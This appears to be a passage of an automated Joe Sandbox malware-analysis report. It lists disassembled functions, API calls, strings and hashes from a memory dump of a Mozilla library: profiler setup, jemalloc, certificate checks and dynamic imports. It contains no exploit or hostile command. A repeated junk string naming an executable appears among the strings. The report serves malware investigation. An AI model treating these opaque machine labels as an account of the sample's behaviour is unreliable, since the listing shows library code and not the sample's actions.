GetCurrentThreadId.KERNEL32 ref: 6CAF563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAF5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAF567C
free.MOZGLUE(?), ref: 6CAF56AE

Part of subcall function 6CB05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB05EDB
Part of subcall function 6CB05E90: memset.VCRUNTIME140(6CB47765,000000E5,55CCCCCC), ref: 6CB05F27
Part of subcall function 6CB05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB05FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAF56E8
GetCurrentThreadId.KERNEL32 ref: 6CAF5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAF570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAF5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAF574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAF576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAF5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAF57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAF57CA

Strings

- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAF5D1C
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAF5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAF5AC9
MOZ_BASE_PROFILER_HELP, xrefs: 6CAF5511
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAF5CF9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAF5766
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAF5D01
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAF5BBE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAF56E3
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAF54A3
GeckoMain, xrefs: 6CAF5554, 6CAF55D5
OVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnC, xrefs: 6CAF57BC
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAF57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAF584E
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAF54B9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAF57AE
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAF5C56
[I %d/%d] profiler_init, xrefs: 6CAF564E
MOZ_PROFILER_STARTUP, xrefs: 6CAF55E1
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAF5749
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAF5B38
VRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCi, xrefs: 6CAF5732
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAF5724
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAF548D
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAF5D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAF5717
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAF5D24

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$OVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnC$VRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCiZeGJPfQWwSGnZPTHTHjOVRiHB.exegnCi$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-844553393
Opcode ID: c0f8fe6c79aa471eb1130544d012cd3bbe7fefd1f31b246ba9992431f399174d
Instruction ID: e7b94763752db4710ad59776eda6aea8778d33621d7c2c3f23c360d9d762b86f
Opcode Fuzzy Hash: c0f8fe6c79aa471eb1130544d012cd3bbe7fefd1f31b246ba9992431f399174d
Instruction Fuzzy Hash: 112218759043809FEB009F76C45836AB7B5AF46358F088929F96A87F81E734D48ACB52

Function 6CB2B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB2B845
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8,?,?,00000000), ref: 6CB2B852
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2B884
InitializeConditionVariable.KERNEL32(?), ref: 6CB2B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CB2B9FD
GetCurrentThreadId.KERNEL32 ref: 6CB2BA05
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8,?,?,00000000), ref: 6CB2BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CB2BA27
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2BA4B
free.MOZGLUE(?), ref: 6CB2C9C7
free.MOZGLUE(?), ref: 6CB2C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CB2C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CB2C7DA

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 726ff2b82ec0f04b894519fd1d19c68525455be9bab90597a0ed4442c0407545
Instruction ID: f798ace137235dcdb470fd77da47dfb832fc74cd038307f495144b9f85cb7384
Opcode Fuzzy Hash: 726ff2b82ec0f04b894519fd1d19c68525455be9bab90597a0ed4442c0407545
Instruction Fuzzy Hash: 00A28C71A083808FD725CF29C4807AFB7E5BFC9314F144A2DE89D97790DB74A9498B82

Function 6CAF6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAF6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAF6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAF6D26

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAF6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAF6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAF6D73
free.MOZGLUE(00000000), ref: 6CAF6D80
CertGetNameStringW.CRYPT32 ref: 6CAF6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAF6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAF6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAF6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAF6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAF6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAF6E34
CreateFileW.KERNEL32 ref: 6CAF6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAF6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAF6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAF709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAF7103
free.MOZGLUE(00000000), ref: 6CAF7153
CloseHandle.KERNEL32(?), ref: 6CAF7176
__Init_thread_footer.LIBCMT ref: 6CAF7209
__Init_thread_footer.LIBCMT ref: 6CAF723A
__Init_thread_footer.LIBCMT ref: 6CAF726B
__Init_thread_footer.LIBCMT ref: 6CAF729C
__Init_thread_footer.LIBCMT ref: 6CAF72DC
__Init_thread_footer.LIBCMT ref: 6CAF730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAF73C2
VerSetConditionMask.NTDLL ref: 6CAF73F3
VerSetConditionMask.NTDLL ref: 6CAF73FF
VerSetConditionMask.NTDLL ref: 6CAF7406
VerSetConditionMask.NTDLL ref: 6CAF740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAF741A
moz_xmalloc.MOZGLUE(?), ref: 6CAF755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAF7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAF7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAF7598
free.MOZGLUE(00000000), ref: 6CAF75AC

Part of subcall function 6CB1AB89: EnterCriticalSection.KERNEL32(6CB6E370,?,?,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB94
Part of subcall function 6CB1AB89: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1ABD1

Strings

wintrust.dll, xrefs: 6CAF72CD
(, xrefs: 6CAF768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CAF72C8
SHA256, xrefs: 6CAF6EC0

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 3bf07de41344536b6e3bb2d734e3163e31197314ef8f0e416086b6ac803ff006
Instruction ID: 7f58f80137739745019004bf357e5fb519ede3d8cc772dd01c9dd2f0bf66167e
Opcode Fuzzy Hash: 3bf07de41344536b6e3bb2d734e3163e31197314ef8f0e416086b6ac803ff006
Instruction Fuzzy Hash: 2152D1B1A002549BEB219F25CC84BAA77B9FF49708F144199F918D7780DB70ABC9CF90

Function 6CB16FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB17019
LeaveCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB17061
EnterCriticalSection.KERNEL32(?), ref: 6CB171A4
LeaveCriticalSection.KERNEL32(?), ref: 6CB1721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CB1723E
EnterCriticalSection.KERNEL32(?), ref: 6CB1726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CB172B2
LeaveCriticalSection.KERNEL32(?), ref: 6CB1733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CB173E8
LeaveCriticalSection.KERNEL32(?), ref: 6CB1961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB19622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB19642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB1964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB196CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB196DB
AcquireSRWLockExclusive.KERNEL32(6CB6E804), ref: 6CB19747
GetSystemInfo.KERNEL32(?), ref: 6CB19792
__Init_thread_footer.LIBCMT ref: 6CB197A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CB6E810,00000040), ref: 6CB197CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB6E7B8,00001388), ref: 6CB19838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB6E744,00001388), ref: 6CB1984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB6E784,00001388), ref: 6CB19874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB6E7DC,00001388), ref: 6CB19895

Strings

<jemalloc>, xrefs: 6CB19B33, 6CB19BE3
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB19BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB199A8
MOZ_CRASH(), xrefs: 6CB19B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB199BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB19993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB199D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB19933, 6CB19A33, 6CB19A4E
MALLOC_OPTIONS, xrefs: 6CB197CA
Compile-time page size does not divide the runtime one., xrefs: 6CB19B38

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 3e97325c5e569910b2d0152180561d5738795ba965d0100e65c7d46e41559971
Instruction ID: 17c92616aafcc16fb6150d4a268bb1c11d837c4a306ad065a8c77896db774f38
Opcode Fuzzy Hash: 3e97325c5e569910b2d0152180561d5738795ba965d0100e65c7d46e41559971
Instruction Fuzzy Hash: 7E539271A097818FD704CF29C580615FBE1FF89328F29C66DE8699BB91D771E841CB82

Function 6CB20DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB20F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB20F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB20FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB20FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB21031
LeaveCriticalSection.KERNEL32(?), ref: 6CB210D0
EnterCriticalSection.KERNEL32(?), ref: 6CB2117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CB21C39
EnterCriticalSection.KERNEL32(6CB6E744), ref: 6CB23391
LeaveCriticalSection.KERNEL32(6CB6E744), ref: 6CB233CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB23431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB23437

Strings

<jemalloc>, xrefs: 6CB23941, 6CB239F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB23A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB237A8
MOZ_CRASH(), xrefs: 6CB23950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB237BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB23793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB237D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB23559, 6CB2382D, 6CB23848
MALLOC_OPTIONS, xrefs: 6CB235FE
Compile-time page size does not divide the runtime one., xrefs: 6CB23946

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: d4b2aa68dbac1d3c04bd01a632a82ff4958a353f2ce3121923d6354a815dbc1a
Instruction ID: e73456d52547387679767a190718b36a1b34ed0f1fc55163e3f50cedc05a6002
Opcode Fuzzy Hash: d4b2aa68dbac1d3c04bd01a632a82ff4958a353f2ce3121923d6354a815dbc1a
Instruction Fuzzy Hash: DF538C71A156818FC704CF29C540626FBE1FF89328F29C66DE86D9B791D739E841CB82

Function 6CB455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CB1E1A5), ref: 6CB45606
LoadLibraryW.KERNEL32(gdi32,?,6CB1E1A5), ref: 6CB4560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB45633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB4563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB4566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB4567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB45696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB45716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB4572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB45748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB45761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB4577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB45793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB457FF

Strings

MonitorFromWindow, xrefs: 6CB4578D
FillRect, xrefs: 6CB45729
CreateWindowExW, xrefs: 6CB456C5
LoadCursorW, xrefs: 6CB45774
EnableNonClientDpiScaling, xrefs: 6CB45666
GetDpiForWindow, xrefs: 6CB45690
ReleaseDC, xrefs: 6CB45742
SetWindowPos, xrefs: 6CB456F7
SetWindowLongPtrW, xrefs: 6CB457B7
DeleteObject, xrefs: 6CB457F9
StretchDIBits, xrefs: 6CB457CC
GetMonitorInfoW, xrefs: 6CB457A2
ShowWindow, xrefs: 6CB456DE
RegisterClassW, xrefs: 6CB456AC
GetSystemMetricsForDpi, xrefs: 6CB45677
CreateSolidBrush, xrefs: 6CB457E4
GetThreadDpiAwarenessContext, xrefs: 6CB4562D
user32, xrefs: 6CB45601
GetWindowDC, xrefs: 6CB45710
AreDpiAwarenessContextsEqual, xrefs: 6CB45637
LoadIconW, xrefs: 6CB4575B
gdi32, xrefs: 6CB4560A

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 34417195cb2433fb7731db4bcc5835c1ad1a303e1db89dcdfd56f44093edff6c
Instruction ID: 5b2c70bd4218bb127cdada0d2f6c267fc0d321d177674ff12eb04a46922cdc79
Opcode Fuzzy Hash: 34417195cb2433fb7731db4bcc5835c1ad1a303e1db89dcdfd56f44093edff6c
Instruction Fuzzy Hash: 31513274605B929BDB019F37CD54A363BBCEB06356710883AB921E3A86EF74CC049F65

Function 6CB434A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB4355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB435BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB435E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB4363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB436CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB4373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB4378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB438BB
